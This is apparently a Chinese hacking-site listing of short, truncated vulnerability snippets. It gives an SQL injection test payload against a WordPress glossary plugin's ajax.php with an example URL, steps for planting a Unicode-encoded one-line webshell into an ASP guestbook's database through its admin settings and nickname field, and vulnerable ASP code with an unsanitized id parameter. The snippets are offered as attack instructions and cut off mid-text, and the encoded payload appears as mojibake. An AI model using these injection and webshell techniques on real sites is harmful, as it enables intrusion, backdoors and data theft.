这个插件含sql注射缺陷文件：wp-content/plugins/wp-glossary/ajax.php测试: id=-1; or 1=if *示例*http://www.hack1990.com /wp-content/plugins/wp...
网站首页 > 网站漏洞
后台-->留言本系统设置-->版权声明添加：┼攠數畣整爠煥敵瑳∨∫┩愾┼砧（一句话的UNICODE）然后在主页留言：注意：开始随便多留几条言，然后在昵称插入：┠砾此时，就可以在默认的数据中插入一句话默认数据库:data#.asp，...
很简单的漏洞id=request.QueryString("id" if id<>"" thenConn.execute("update News set num=num+1 where id=...
